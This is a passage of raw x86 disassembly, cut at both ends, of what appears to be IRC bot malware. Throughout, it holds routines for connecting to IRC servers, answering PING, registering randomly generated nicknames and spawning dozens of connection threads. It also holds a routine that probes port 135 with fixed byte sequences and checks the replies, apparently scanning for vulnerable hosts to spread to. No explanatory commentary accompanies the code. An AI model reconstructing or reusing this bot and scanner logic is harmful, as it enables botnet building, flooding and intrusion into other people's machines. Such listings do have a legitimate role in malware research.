loc_415291: ; CODE XREF: sub_41524C+77j push offset aA_3 ; "A:\\" push esi call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_4152B4 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41517A add esp, 10h loc_4152B4: ; CODE XREF: sub_41524C+54j push esi call sub_418D00 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_415291 loc_4152C5: ; CODE XREF: sub_41524C+43j push edi call sub_419940 pop ecx pop edi pop esi loc_4152CE: ; CODE XREF: sub_41524C+1Fj pop ebx pop ebp retn sub_41524C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152D1 proc near ; CODE XREF: sub_415497+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4E091C mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41534D push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B190 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4E08A0 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4E08DC cmp eax, esi jnz short loc_415332 push [ebp+arg_0] call dword_4E0920 test eax, eax jz short loc_41534D mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415332: ; CODE XREF: sub_4152D1+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4E084C cmp eax, esi loc_415344: ; DATA XREF: .nsp0:00452140o jnz short loc_415351 push edi call dword_4E0934 loc_41534D: ; CODE XREF: sub_4152D1+1Bj ; sub_4152D1+58j mov eax, esi jmp short loc_415353 ; --------------------------------------------------------------------------- loc_415351: ; CODE XREF: sub_4152D1:loc_415344j mov eax, edi loc_415353: ; CODE XREF: sub_4152D1+7Ej pop edi pop esi locret_415355: ; DATA XREF: .nsp0:0045232Co leave retn sub_4152D1 endp ; =============== S U B R O U T I N E ======================================= sub_415357 proc near ; CODE XREF: sub_401CC1+2CF6p ; sub_401CC1+2D5Dp ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_44F464 ; "\n" push edi call sub_41C310 pop ecx mov esi, offset dword_4E85B4 pop ecx loc_41536F: ; CODE XREF: sub_415357+42j cmp dword ptr [esi-4], 1 jnz short loc_41538D cmp dword ptr [esi], 0 jbe short loc_41538D push 0 push edi call sub_418D00 pop ecx push eax push edi push dword ptr [esi] call dword_4E08EC loc_41538D: ; CODE XREF: sub_415357+1Cj ; sub_415357+21j add esi, 210h cmp esi, offset dword_4EECD4 jl short loc_41536F pop edi pop esi retn sub_415357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41539E proc near ; CODE XREF: sub_415497+152p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi push edi push offset asc_44F468 ; " " push [ebp+arg_0] call sub_41C550 pop ecx mov [ebp+var_20], eax pop ecx lea esi, [ebp+var_1C] push 7 xor ebx, ebx pop edi loc_4153C4: ; CODE XREF: sub_41539E+39j push offset asc_44F46C ; " " push ebx call sub_41C550 mov [esi], eax pop ecx add esi, 4 dec edi pop ecx jnz short loc_4153C4 cmp [ebp+var_20], ebx mov esi, [ebp+var_1C] jnz short loc_4153ED cmp esi, ebx jnz short loc_4153ED push 1 pop eax jmp loc_415492 ; --------------------------------------------------------------------------- loc_4153ED: ; CODE XREF: sub_41539E+41j ; sub_41539E+45j push [ebp+var_20] push offset aPing_1 ; "PING" call sub_41C4C0 pop ecx pop ecx test eax, eax push esi jnz short loc_415417 lea eax, [ebp+var_220] push offset aPongS_0 ; "PONG %s\n" push eax call sub_41B740 add esp, 0Ch jmp short loc_415471 ; --------------------------------------------------------------------------- loc_415417: ; CODE XREF: sub_41539E+61j push offset a433 ; "433" call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_415438 push esi push offset a432 ; "432" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_415490 loc_415438: ; CODE XREF: sub_41539E+87j push 200h lea eax, [ebp+var_420] push ebx push eax call sub_41B190 lea eax, [ebp+var_420] push eax call sub_4156B7 lea eax, [ebp+var_420] push eax lea eax, [ebp+var_220] push offset aNickS_8 ; "NICK %s\n" push eax call sub_41B740 add esp, 1Ch loc_415471: ; CODE XREF: sub_41539E+77j lea eax, [ebp+var_220] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4E08EC loc_415490: ; CODE XREF: sub_41539E+98j xor eax, eax loc_415492: ; CODE XREF: sub_41539E+4Aj pop edi pop esi pop ebx leave retn sub_41539E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415497 proc near ; DATA XREF: sub_415639+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BC60 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4E85BC[esi] mov dword_4E85B0[esi], edi push dword_4E87BC[esi] push eax call sub_4152D1 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4E85B4[esi], eax jb loc_415619 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B190 lea eax, [ebp+var_2008] push eax call sub_4156B7 lea eax, [ebp+var_4008] push eax call sub_4156B7 lea eax, [ebp+var_3008] push eax call sub_4156B7 lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B740 add esp, 2Ch lea eax, [ebp+var_1008] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4E85B4[esi] call dword_4E08EC push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B190 add esp, 0Ch loc_415570: ; CODE XREF: sub_415497+10Ej ; sub_415497+17Dj push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4E85B4[esi] call dword_4E08B8 cmp eax, ebx mov [ebp+var_8], eax jle short loc_415619 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_415570 loc_4155A7: ; CODE XREF: sub_415497+17Bj mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4155CE cmp al, 0Ah jz short loc_4155CE cmp [ebp+arg_0], 0FA0h jz short loc_4155CE mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_415608 ; --------------------------------------------------------------------------- loc_4155CE: ; CODE XREF: sub_415497+119j ; sub_415497+11Dj ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_415608 push dword_4E85B4[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_41539E pop ecx test eax, eax pop ecx ja short loc_415619 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B190 add esp, 0Ch mov [ebp+arg_0], ebx loc_415608: ; CODE XREF: sub_415497+135j ; sub_415497+13Cj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4155A7 jmp loc_415570 ; --------------------------------------------------------------------------- loc_415619: ; CODE XREF: sub_415497+40j ; sub_415497+104j ... mov dword_4E85B0[esi], ebx mov esi, dword_4E85B4[esi] cmp esi, ebx jbe short loc_415630 push esi call dword_4E0934 loc_415630: ; CODE XREF: sub_415497+190j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_415497 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415639 proc near ; CODE XREF: sub_401CC1+2C4Bp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_4156B2 loc_41564B: ; CODE XREF: sub_415639+77j xor edi, edi mov eax, offset dword_4E85B0 loc_415652: ; CODE XREF: sub_415639+28j cmp [eax], ebx jz short loc_415663 add eax, 210h inc edi cmp eax, offset dword_4EECD0 jl short loc_415652 loc_415663: ; CODE XREF: sub_415639+1Bj cmp edi, 31h jz short loc_4156B2 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4E85BC[esi] push eax call sub_41C300 mov eax, [ebp+arg_4] pop ecx mov dword_4E87BC[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4E85B0[esi], 1 push eax push ebx push edi push offset sub_415497 push ebx push ebx call dword_4F1338 ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_41564B loc_4156B2: ; CODE XREF: sub_415639+10j ; sub_415639+2Dj pop edi pop esi pop ebx leave retn sub_415639 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4156B7 proc near ; CODE XREF: sub_401CC1+3194p ; sub_401CC1+31DBp ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B190 add esp, 0Ch call sub_41B850 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4374D8 call sub_41CEBC cmp eax, 1 jnz short loc_415701 call sub_41B850 call sub_41B850 push 66h cdq pop ecx idiv ecx push off_44EAE8[edx*4] jmp short loc_41571A ; --------------------------------------------------------------------------- loc_415701: ; CODE XREF: sub_4156B7+2Fj call sub_41B850 call sub_41B850 cdq mov ecx, 0C0h idiv ecx push off_44E7E8[edx*4] loc_41571A: ; CODE XREF: sub_4156B7+48j lea eax, [ebp+var_2C] push eax call sub_41C300 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_418D00 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4374D0 call sub_41CEBC mov ebx, eax call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4374C8 call sub_41CEBC cmp esi, 2 mov edi, offset a__2 ; "-|`_\\{[]}" jle short loc_41578D cmp esi, 3 jnz short loc_415784 cmp ebx, 1 jz short loc_41578D loc_415784: ; CODE XREF: sub_4156B7+C6j cmp eax, 1 jnz loc_415847 loc_41578D: ; CODE XREF: sub_4156B7+C1j ; sub_4156B7+CBj call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4374C0 call sub_41CEBC push off_44EAE8[eax*4] lea eax, [ebp+var_40] push eax call sub_41C300 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41C400 add esp, 10h test eax, eax jnz short loc_415834 movsx eax, [ebp+var_40] push eax push edi call sub_41C400 pop ecx test eax, eax pop ecx jnz short loc_415834 call sub_41B850 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4374C8 call sub_41CEBC cmp eax, 1 jnz short loc_415834 push edi call sub_418D00 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4374C8 call sub_41CEBC mov al, byte ptr a__2[eax] ; "-|`_\\{[]}" mov [ebx], al loc_415834: ; CODE XREF: sub_4156B7+111j ; sub_4156B7+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C7A0 add esp, 0Ch loc_415847: ; CODE XREF: sub_4156B7+D0j lea eax, [ebp+var_2C] push eax call sub_418D00 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41E170 pop ecx test eax, eax pop ecx jnz loc_415AAF and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C400 pop ecx test eax, eax pop ecx jnz loc_4159A6 call sub_41B850 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4374C8 call sub_41CEBC cmp esi, 3 jz short loc_4158B5 cmp eax, 1 jnz loc_4159A6 loc_4158B5: ; CODE XREF: sub_4156B7+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_4158F7 push edi call sub_418D00 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4374C8 call sub_41CEBC mov al, byte ptr a__2[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_415913 ; --------------------------------------------------------------------------- loc_4158F7: ; CODE XREF: sub_4156B7+207j call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4374B8 call sub_41CEBC mov cl, 41h sub cl, al mov [ebx], cl loc_415913: ; CODE XREF: sub_4156B7+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4374B0 call sub_41CEBC cmp esi, 3 jz short loc_41593C cmp eax, ebx jnz short loc_4159A6 loc_41593C: ; CODE XREF: sub_4156B7+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_415981 push edi call sub_418D00 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4374C8 call sub_41CEBC mov al, byte ptr a__2[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41599F ; --------------------------------------------------------------------------- loc_415981: ; CODE XREF: sub_4156B7+28Fj call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4374B8 call sub_41CEBC mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41599F: ; CODE XREF: sub_4156B7+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_4159A6: ; CODE XREF: sub_4156B7+1C9j ; sub_4156B7+1F8j ... cmp esi, 6 jge loc_415A2F cmp esi, 5 jge short loc_4159C7 call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4374D0 jmp short loc_4159E5 ; --------------------------------------------------------------------------- loc_4159C7: ; CODE XREF: sub_4156B7+2FBj call sub_41B850 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4374C8 loc_4159E5: ; CODE XREF: sub_4156B7+30Ej call sub_41CEBC test eax, eax jnz short loc_415A08 call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4374A8 call sub_41CEBC mov cl, 30h jmp short loc_415A25 ; --------------------------------------------------------------------------- loc_415A08: ; CODE XREF: sub_4156B7+335j cmp eax, 1 jnz short loc_415A2F call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4374B8 call sub_41CEBC mov cl, 41h loc_415A25: ; CODE XREF: sub_4156B7+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_415A2F: ; CODE XREF: sub_4156B7+2F2j ; sub_4156B7+354j cmp [ebp+var_C], 2 jge short loc_415AAF call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4374C8 call sub_41CEBC cmp eax, 1 jnz short loc_415AAF call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4374A8 call sub_41CEBC mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4374A0 call sub_41CEBC cmp eax, 1 jnz short loc_415AAF cmp [ebp+var_C], eax jge short loc_415AAF call sub_41B850 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_437498 call sub_41CEBC mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_415AAF: ; CODE XREF: sub_4156B7+1B1j ; sub_4156B7+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B1F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_4156B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AC8 proc near ; CODE XREF: .nsp0:00415C25p ; .nsp0:00415C4Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_415AF6 loc_415AD9: ; CODE XREF: sub_415AC8+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41E490 add esp, 0Ch test eax, eax jz short loc_415AFC inc esi cmp esi, edi jl short loc_415AD9 loc_415AF6: ; CODE XREF: sub_415AC8+Fj xor al, al loc_415AF8: ; CODE XREF: sub_415AC8+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_415AFC: ; CODE XREF: sub_415AC8+27j mov al, 1 jmp short loc_415AF8 sub_415AC8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 2010h call sub_41BC60 mov eax, [ebp+0Ch] push esi dec eax push edi jz short loc_415B41 dec eax jz short loc_415B1F dec eax loc_415B19: ; CODE XREF: .nsp0:00415B57j xor eax, eax loc_415B1B: ; CODE XREF: .nsp0:00415B3Fj ; .nsp0:00415C69j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_415B1F: ; CODE XREF: .nsp0:00415B16j push 3 push 1388h push dword ptr [ebp+8] call dword_4E08DC push eax call sub_40B786 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_415B1B ; --------------------------------------------------------------------------- loc_415B41: ; CODE XREF: .nsp0:00415B13j push 6 push 1 push 2 call dword_4E091C mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+0Ch], esi jz short loc_415B19 push ebx xor ebx, ebx push 10h lea eax, [ebp-10h] push ebx push eax call sub_41B190 add esp, 0Ch mov word ptr [ebp-10h], 2 push 87h call dword_4E08A0 push dword ptr [ebp+8] mov [ebp-0Eh], ax call sub_409EFD pop ecx mov [ebp-0Ch], eax lea eax, [ebp-10h] push 10h push eax push esi call dword_4E084C cmp eax, edi jz loc_415C5D push ebx push 48h push offset dword_44F4D4 push esi call dword_4E08EC cmp eax, edi jz loc_415C5D mov esi, 2000h push ebx lea eax, [ebp-2010h] push esi push eax push dword ptr [ebp+0Ch] call dword_4E08B8 cmp eax, edi jz loc_415C5D cmp byte ptr [ebp-200Eh], 0Ch jnz short loc_415C5D push ebx push 18h push offset dword_44F520 push dword ptr [ebp+0Ch] call dword_4E08EC cmp eax, edi jz short loc_415C5D push ebx lea eax, [ebp-2010h] push esi push eax push dword ptr [ebp+0Ch] call dword_4E08B8 mov esi, eax cmp esi, edi jz short loc_415C5D cmp byte ptr [ebp-200Eh], 2 jnz short loc_415C5D push 10h push offset loc_44F53C lea eax, [ebp-2010h] push esi push eax call sub_415AC8 add esp, 10h test al, al jz short loc_415C3D cmp esi, 12Ch setnl bl inc ebx jmp short loc_415C5D ; --------------------------------------------------------------------------- loc_415C3D: ; CODE XREF: .nsp0:00415C2Fj push 10h push offset dword_44F550 lea eax, [ebp-2010h] push esi push eax call sub_415AC8 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_415C5D: ; CODE XREF: .nsp0:00415B9Bj ; .nsp0:00415BB2j ... push dword ptr [ebp+0Ch] call dword_4E0934 mov eax, ebx pop ebx jmp loc_415B1B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C6E proc near ; CODE XREF: sub_401CC1+932p ; sub_401CC1+96Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_415CF9 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_415CF9 cmp [ebp+arg_8], esi jz short loc_415CF9 cmp byte ptr [eax], 0 jz short loc_415CF9 push ebx push edi call sub_435BC0 mov ebx, eax pop ecx test ebx, ebx jz short loc_415CF4 push [ebp+arg_4] push edi call sub_41B890 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_415CED sub eax, edi push eax push edi push ebx call sub_41B1F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_418D00 push eax push [ebp+arg_8] push ebx call sub_41C7A0 push [ebp+arg_4] call sub_418D00 add eax, esi push eax push ebx call sub_41C310 push ebx push edi call sub_41C300 add esp, 30h mov esi, edi loc_415CED: ; CODE XREF: sub_415C6E+3Cj push ebx call sub_419940 pop ecx loc_415CF4: ; CODE XREF: sub_415C6E+2Bj mov eax, esi pop ebx jmp short loc_415CFB ; --------------------------------------------------------------------------- loc_415CF9: ; CODE XREF: sub_415C6E+Cj ; sub_415C6E+13j ... xor eax, eax loc_415CFB: ; CODE XREF: sub_415C6E+89j pop edi pop esi pop ebp retn sub_415C6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CFF proc near ; CODE XREF: sub_401B49+E9p ; sub_40FD11+F4p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B190 mov esi, [ebp+arg_0] push esi call sub_418D00 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_415D35 or eax, 0FFFFFFFFh jmp short loc_415DA8 ; --------------------------------------------------------------------------- loc_415D35: ; CODE XREF: sub_415CFF+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_415D57 loc_415D41: ; CODE XREF: sub_415CFF+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_415D4E cmp dl, 0Dh jnz short loc_415D52 loc_415D4E: ; CODE XREF: sub_415CFF+48j and byte ptr [ecx+esi], 0 loc_415D52: ; CODE XREF: sub_415CFF+4Dj inc ecx cmp ecx, eax jl short loc_415D41 loc_415D57: ; CODE XREF: sub_415CFF+40j xor edx, edx push edi test eax, eax jle short loc_415D88 lea edi, [ebp+var_7CC] loc_415D64: ; CODE XREF: sub_415CFF+87j cmp byte ptr [edx+esi], 0 jnz short loc_415D83 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_415D83 cmp ebx, 1F4h jge short loc_415D88 mov [edi], ecx inc ebx add edi, 4 loc_415D83: ; CODE XREF: sub_415CFF+69j ; sub_415CFF+74j inc edx cmp edx, eax jl short loc_415D64 loc_415D88: ; CODE XREF: sub_415CFF+5Dj ; sub_415CFF+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_415DA6 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call near ptr sub_41C8D0 add esp, 0Ch loc_415DA6: ; CODE XREF: sub_415CFF+8Ej mov eax, ebx loc_415DA8: ; CODE XREF: sub_415CFF+34j pop esi pop ebx leave retn sub_415CFF endp ; =============== S U B R O U T I N E ======================================= sub_415DAC proc near ; CODE XREF: sub_415E06+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_415DE5 push ebx mov ebx, edi loc_415DC9: ; CODE XREF: sub_415DAC+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_415DE8 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_415DC9 pop ebx loc_415DE5: ; CODE XREF: sub_415DAC+18j pop edi pop esi retn sub_415DAC endp ; =============== S U B R O U T I N E ======================================= sub_415DE8 proc near ; CODE XREF: sub_415DAC+25p ; sub_415E06+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41E550 cmp al, 61h pop ecx jl short loc_415E03 cmp al, 7Ah jg short loc_415E03 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_415E03: ; CODE XREF: sub_415DE8+Ej ; sub_415DE8+12j xor eax, eax retn sub_415DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E06 proc near ; CODE XREF: .nsp0:00414693p ; .nsp0:00414718p ... var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BC60 push ebx push esi push edi push [ebp+arg_0] call sub_418D00 push [ebp+arg_4] mov [ebp+var_4], eax call sub_418D00 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_415DAC add esp, 14h dec esi mov edi, esi loc_415E44: ; CODE XREF: sub_415E06+B6j test esi, esi jle short loc_415EC2 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41E550 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41E550 pop ecx cmp eax, ebx pop ecx jz short loc_415EBA loc_415E6A: ; CODE XREF: sub_415E06+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_415DE8 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_415E8B mov eax, ecx loc_415E8B: ; CODE XREF: sub_415E06+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_415EBE mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41E550 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41E550 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_415E6A loc_415EBA: ; CODE XREF: sub_415E06+62j dec edi dec esi jmp short loc_415E44 ; --------------------------------------------------------------------------- loc_415EBE: ; CODE XREF: sub_415E06+8Aj xor eax, eax jmp short loc_415EC7 ; --------------------------------------------------------------------------- loc_415EC2: ; CODE XREF: sub_415E06+40j mov eax, [ebp+arg_0] add eax, edi loc_415EC7: ; CODE XREF: sub_415E06+BAj pop edi pop esi pop ebx leave retn sub_415E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415ECC proc near ; CODE XREF: sub_401CC1+5F54p ; sub_401CC1+6B17p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_4F1348 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call dword_4F13F4 ; FormatMessageA lea eax, [ebp+var_100] loc_415F05: ; CODE XREF: sub_415ECC+46j mov cl, [eax] cmp cl, 1Fh jg short loc_415F11 cmp cl, 9 jnz short loc_415F14 loc_415F11: ; CODE XREF: sub_415ECC+3Ej inc eax jmp short loc_415F05 ; --------------------------------------------------------------------------- loc_415F14: ; CODE XREF: sub_415ECC+43j ; sub_415ECC+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_415F2E mov cl, [eax] cmp cl, 2Eh jz short loc_415F14 cmp cl, 21h jl short loc_415F14 loc_415F2E: ; CODE XREF: sub_415ECC+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4EED04 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B910 add esp, 18h mov eax, esi pop esi leave retn sub_415ECC endp ; =============== S U B R O U T I N E 